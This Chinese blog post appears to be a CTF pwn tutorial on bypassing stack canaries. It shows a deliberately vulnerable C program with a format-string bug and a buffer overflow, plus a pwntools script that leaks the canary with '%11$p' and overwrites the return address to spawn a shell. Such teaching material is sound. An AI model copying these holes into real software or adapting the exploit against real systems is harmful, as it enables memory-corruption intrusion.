当前位置: 首页 > news >正文

ctf pwn基础-2

今天学了一个保护的绕过,这里讲一讲,这个好像是使用的是格式化字符串漏洞。

目录

基础

实例讲解



基础

首先我们要知道什么是canary保护,就是在入栈EBP以后加一个Canary

我可能讲的不是很好,大家可以看看这些 文章

用通俗一点将就是一个矿工带来一只老鼠进去矿洞,这里可以理解为fs/gs寄存器中取出一个4字节(eax)或者8字节(rax)的值存到栈,然后再采矿的结束的时候,老鼠检测到有瓦斯很多,然后他们都没了,这里可以理解为最后值变了,不是我们存进去的值不一样了,就会提前停止,就是为了防止溢出,但是反过来最后检测一样的话,就可以了。


所以我们最终的目的都是为了获得canary的真实地址,就可以溢出了。

 


实例讲解

 首先在上面我就说了,我使用的是格式化字符串漏洞获得的字符串,这里大家可以先了解了解什么是格式化字符串漏洞

下面是实例代码

#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);printf(str);read(0, str, 0x50);
}
int main()
{func();return 0;
}
//这里编译一下然后加上canary保护
gcc -z execstack -no-pie -z norelro -fstack-protector-all 03.c -o 3

 没错64位,只开启了canary保护。

 

这里使用ida看看,exploit函数这里我们看到了shell,是一个重点。

因为main是直接进入func方法,这里就直接看看func方法,这里有一个很重要的东西,这里设置buf变量的值,是占用40个字节,就是0x28,这个位置成员变量到canary的长度,但是还是有一个偏移量的,这里我们可以通过格式化字符串漏洞知道,然后read那里大家都应该知道了是存在溢出的。

我们执行我们编译好的,然后输入下面这一串,那里一群4141代表的就是AAAAAA,这里数一数他是第几个,嗯,第六个,那么偏移就是6,加上上面成员变量的40个字节,因为64位8个字节代表一位,这里40个字节就是5位,那么11位就是canary的真实地址了。

 

而且通常canary最后两位都是00,嗯,应该就是这个了。

 

所以我们写payload的思路就是

首先填充满成员变量就是40个字节=0x28,然后就是canary的真实地址绕过检测,最后填入0x8个值填满ebp,最后我们就是随意return了。

from pwn import *p = process("./3")#输入%11$p查看canary的真实地址
p.sendline("%11$p")
#获取返回值,且没有\n
canary = p.recvline(keepends=False)
#对canary进行处理,从bytes变成10进制
canary = int(canary.decode(),16)
print(canary)
off = 0x28# 先传入40个值填满成员变量,然后输入正确的canary,在填满rbp
# 然后定义到return的位置,最后return到shell中就可以了
payload = b'a'*off + p64(canary) +b"a"*0x8+p64(0x0000000000401251) +p64(0x0000000000401196)
#print(payload)
p.sendline(payload)
p.interactive()

 

相关文章:

ctf pwn基础-2

今天学了一个保护的绕过&#xff0c;这里讲一讲&#xff0c;这个好像是使用的是格式化字符串漏洞。 目录 基础 实例讲解 基础 首先我们要知道什么是canary保护&#xff0c;就是在入栈EBP以后加一个Canary 我可能讲的不是很好&#xff0c;大家可以看看这些 文章 用通俗一点将就…...

从一个SQL打印全年日历漫谈数据仓库中时间操作场景的重点写法

文章目录前言一、我如何快速确定今年是否是闰年的&#x1f623;二、 我如何从DATE类型数据获取年、月(月初&月末)、周、日、时、分、秒信息&#x1f92f;三、我如何快速查到本月月初第一周的周一和本月最后一周周一是在几号&#x1f611;四、我如何快速确定每个季度的开始和…...

Java跳槽涨薪之路-想学Java的赶紧上车了

前言Java 是近 10 年来计算机软件发展过程中的传奇&#xff0c;在很多开发者心中的地位可谓“爱不释手”&#xff0c;与其他一些计算机语言随着时间的流逝影响也逐渐减弱不同&#xff0c;Java 随着时间的推移反而变得更加强大。按应用范围&#xff0c;Java 可分为 3 个体系&…...

MyBatis解析全局配置文件

目录 MyBatis介绍 传统JDBC和Mybatis相比的弊病 传统JDBC的问题如下 mybatis对传统的JDBC的解决方案 Mybaits整体体系图 使用大致过程 MyBatis 源码编译 源码解析 配置文件解析 读取配置文件 返回SqlSessionFactory 配置文件内容 解析的核心方法 解析出来的对象 …...

37-Golang中的封装

封装介绍 封装就是把抽象出的字段和对字段的操作封装在一起&#xff0c;数据被保护在内部&#xff0c;程序的其他包只有通过被授权的操作(方法)&#xff0c;才能对字段进行操作 封装的理解和好处 1.隐藏实现细节 2.可以对数据进行验证&#xff0c;保证安全合理 如何体现封…...

Python Pytorch开发环境搭建(Windows和Ubuntu)

Python Pytorch开发环境搭建&#xff08;Windows和Ubuntu&#xff09; 目录 Pytorch开发环境搭建 1. 安装cuda cudnn (1)Windows安装方法 (2)Ubuntu18.04安装方法 2. 安装Python(推荐使用Anaconda) (1)Windows安装方法 (2)Ubuntu18.04安装方法 3. Pytorch安装 4. 安装…...

多种方法进行去基线处理

目录detrend函数去除基线多项式拟合原函数BEADS 基线处理小波算法经验模态分解&#xff08;EMD&#xff09;参考detrend函数去除基线 detrend函数只能用于去除线性趋势&#xff0c;对于非线性的无能为力。 函数表达式&#xff1a;y scipy.signal.detrend(x): 从信号中删除线…...

二叉树——最大二叉树

最大二叉树 链接 给定一个不重复的整数数组 nums 。 最大二叉树 可以用下面的算法从 nums 递归地构建: 创建一个根节点&#xff0c;其值为 nums 中的最大值。 递归地在最大值 左边 的 子数组前缀上 构建左子树。 递归地在最大值 右边 的 子数组后缀上 构建右子树。 返回 nums…...

【Redis】Redis 的过期策略以及内存淘汰机制详解

Redis 的过期策略以及内存淘汰机制详解1. Redis 的过期策略1.1 如何设置 key 的过期时间&#xff1f;1.2 key 设置且到了过期时间后&#xff0c;该 key 保存的数据还占据内存么&#xff1f;1.3 Redis 如何删除过期的数据1.3.1 定期删除1.3.2 惰性删除2. Redis 的内存淘汰机制2.…...

边缘云是什么?

涂鸦边缘云服务 旨在解决物联网边缘位置的连接需求和提高设备自主管理能力。并与涂鸦 IoT 云服务和 IoT 终端形成云边端三位一体的端到端产品架构。使用涂鸦边缘云&#xff0c;能极大降低设备响应延时、降低网络带宽压力、提高算力分发能力&#xff0c;并构建以下技术优势&…...

Java常用数据结构

Java常用数据结构 Java中有几种常用的数据结构&#xff0c;主要分为Collection和map两个主要接口&#xff08;接口只提供方法&#xff0c;并不提供实现&#xff09;&#xff0c;而程序中最终使用的数据结构是继承自这些接口的数据结构类。 一、几个常用类的区别 1&#xff0e…...

【Java基础 下】 026 -- 集合进阶(不可变集合、Stream流、方法引用)

目录 一、不可变集合 1、创建不可变集合的应用场景 2、创建不可变集合的书写格式 ①、不可变的List集合 ②、不可变的Set集合 ③、不可变的Map集合 3、小结 二、Stream流 1、体验Stream流的作用 2、Stream流的思想 3、Stream流的使用步骤 ①、单列集合获取Stream流 ②、双列集合…...

SAP 跨工厂或特定工厂的物料状态设置

在物料主数据的Basic data 1 View和MRP1 View可分别设置“跨工厂物料状态(X-plant matl status)”和“特定工厂的物料状态(Plant-sp.matl status)”。 通过对物料状态的设置&#xff0c;可实现对物料使用范围的限制。 例&#xff1a;在采购中不可用&#xff1b;在库存管理中不…...

jupyter的安装步骤

1.安装python文件 首先去官网python去下载python的安装包&#xff0c;点击donwload,选择合适的系统。这里我是windown系统&#xff0c;点击进去&#xff0c;如图找到有installer的去下载。不建议下载最新版本的&#xff0c;会有兼容问题。 2.安装python 点击第二个选项是自己配…...

Optional使用详解

Optional使用详解 文章目录Optional使用详解1.构造函数2.Optional.of(T value)作用使用源码&#xff08;只想知道怎么用的可以略过&#xff09;Optional.ofNullable(T value)作用使用源码.orElse(T other)作用使用源码.orElseGet(Supplier<? extends T> other)作用使用源…...

如何实现文件高速传输,推荐镭速高速文件传输解决方案

随着互联网的发展&#xff0c;文件传输越来越频繁&#xff0c;如何实现文件高速传输已经越来越成为企业发展过程中需要解决的问题&#xff0c; 在当今的业务中&#xff0c;随着与客户和供应商以及内部系统的所有通信的数据量不断增加&#xff0c;对高速文件传输解决方案的需求…...

SpringBoot整合Mybatis+人大金仓(kingbase8)

陈老老老板&#x1f9b8;&#x1f468;‍&#x1f4bb;本文专栏&#xff1a;国产数据库-人大金仓&#xff08;kingbase8&#xff09;&#xff08;主要讲一些人大金仓数据库相关的内容&#xff09;&#x1f468;‍&#x1f4bb;本文简述&#xff1a;本文讲一下Mybatis框架整合人…...

TPM 2.0实例探索2 —— LUKS磁盘加密(3)

接前文&#xff1a;TPM 2.0实例探索2 —— LUKS磁盘加密&#xff08;2&#xff09; 本文大部分内容参考&#xff1a; Code Sample: Protecting secret data and keys using Intel Platform... 二、LUKS磁盘加密实例 3. 将密码存储于TPM的LUKS 由于自动挂载需要在运行时提供一…...

嵌入式Debian主机可接HDMI显示

1、ARM是何物 ARM是一种体系架构。它使用 32 位处理器核心&#xff0c;采用 RISC&#xff08;Reduced Instruction Set Computer&#xff0c;精简指令集计算机&#xff09;架构&#xff0c;核心的运算效率高&#xff0c;占用空间小&#xff0c;功耗低&#xff0c;应用于便携式…...

驱动程序开发:基于ICM20608六轴传感器 --- 使用Regmap API 的 SPI 读取数据 之 IIO驱动

目录一、IIO 子系统简介二、IIO子系统使用的一些相关的结构体、函数等1、iio_dev 结构体  ①modes&#xff1a;是选择iio驱动设备支持的工作模式&#xff0c;模式分别有如下&#xff1a;  ②dev&#xff1a;其是一个设备结构体。  ②channels&#xff1a;为 IIO 设备通道…...

浏览器访问 AWS ECS 上部署的 Docker 容器(监听 80 端口)

✅ 一、ECS 服务配置 Dockerfile 确保监听 80 端口 EXPOSE 80 CMD ["nginx", "-g", "daemon off;"]或 EXPOSE 80 CMD ["python3", "-m", "http.server", "80"]任务定义&#xff08;Task Definition&…...

Spark 之 入门讲解详细版(1)

1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室&#xff08;Algorithms, Machines, and People Lab&#xff09;开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目&#xff0c;8个月后成为Apache顶级项目&#xff0c;速度之快足见过人之处&…...

盘古信息PCB行业解决方案:以全域场景重构,激活智造新未来

一、破局&#xff1a;PCB行业的时代之问 在数字经济蓬勃发展的浪潮中&#xff0c;PCB&#xff08;印制电路板&#xff09;作为 “电子产品之母”&#xff0c;其重要性愈发凸显。随着 5G、人工智能等新兴技术的加速渗透&#xff0c;PCB行业面临着前所未有的挑战与机遇。产品迭代…...

2025年能源电力系统与流体力学国际会议 (EPSFD 2025)

2025年能源电力系统与流体力学国际会议&#xff08;EPSFD 2025&#xff09;将于本年度在美丽的杭州盛大召开。作为全球能源、电力系统以及流体力学领域的顶级盛会&#xff0c;EPSFD 2025旨在为来自世界各地的科学家、工程师和研究人员提供一个展示最新研究成果、分享实践经验及…...

Vue3 + Element Plus + TypeScript中el-transfer穿梭框组件使用详解及示例

使用详解 Element Plus 的 el-transfer 组件是一个强大的穿梭框组件&#xff0c;常用于在两个集合之间进行数据转移&#xff0c;如权限分配、数据选择等场景。下面我将详细介绍其用法并提供一个完整示例。 核心特性与用法 基本属性 v-model&#xff1a;绑定右侧列表的值&…...

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility

Cilium动手实验室: 精通之旅---20.Isovalent Enterprise for Cilium: Zero Trust Visibility 1. 实验室环境1.1 实验室环境1.2 小测试 2. The Endor System2.1 部署应用2.2 检查现有策略 3. Cilium 策略实体3.1 创建 allow-all 网络策略3.2 在 Hubble CLI 中验证网络策略源3.3 …...

el-switch文字内置

el-switch文字内置 效果 vue <div style"color:#ffffff;font-size:14px;float:left;margin-bottom:5px;margin-right:5px;">自动加载</div> <el-switch v-model"value" active-color"#3E99FB" inactive-color"#DCDFE6"…...

[Java恶补day16] 238.除自身以外数组的乘积

给你一个整数数组 nums&#xff0c;返回 数组 answer &#xff0c;其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法&#xff0c;且在 O(n) 时间复杂度…...

零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)

本期内容并不是很难&#xff0c;相信大家会学的很愉快&#xff0c;当然对于有后端基础的朋友来说&#xff0c;本期内容更加容易了解&#xff0c;当然没有基础的也别担心&#xff0c;本期内容会详细解释有关内容 本期用到的软件&#xff1a;yakit&#xff08;因为经过之前好多期…...

力扣-35.搜索插入位置

题目描述 给定一个排序数组和一个目标值&#xff0c;在数组中找到目标值&#xff0c;并返回其索引。如果目标值不存在于数组中&#xff0c;返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...